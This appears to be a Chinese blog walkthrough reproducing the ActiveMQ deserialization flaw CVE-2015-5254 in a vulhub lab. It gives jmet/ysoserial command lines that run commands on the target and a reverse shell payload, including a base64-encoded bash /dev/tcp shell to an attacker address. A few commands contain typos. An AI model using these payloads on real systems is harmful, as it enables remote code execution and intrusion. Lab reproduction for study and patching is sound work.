ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现

漏洞原理

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

环境准备

kali vulhub集成一键搭建,

docker-compose up -d

kali 靶机ip:192.168.177.137

环境运行成功后后,将监听61616和8161两个端口,其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口,Web访问:http://your-ip:8161即可看到网络管理页面。

ActiveMq默认登录账号密码:admin admin

 

工具下载

https://github.com/matthiaskaiser/jmet/releases

漏洞复现

创建文件

Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

执行命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.168.177.1  37   61616

查看http://192.168.177.137:8161/admin/browse.jsp?JMSDestination=event 可以看到该队列信息,点击这条消息可以出发命令执行

 验证发现无法在tmp下创建文件,使用命令直接在根目录创建文件:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch li" -Yp ROME   192.168.177.137   61616

 

进入目录查看文件,创建成功:

docker exec -it cve-2015-5254_activemq_1 /bin/bash

 

 反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tvp/192.168.177.128/4444>&1 " -Yp ROME 192.168.177.137 61616

需要进行base64编码进行绕过才可以执行:

bash -c {echo,payload-base64编码}|{base64,-d}|{bash,-i}
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.177.137 61616

 

 

漏洞修复

官网修复补丁

参考文献

https://www.cnblogs.com/backlion/p/9970516.html

https://www.jianshu.com/p/d2b7e0e75941

https://blog.csdn.net/nz9611/article/details/96206386

原文地址:https://www.cnblogs.com/lijingrong/p/13647047.html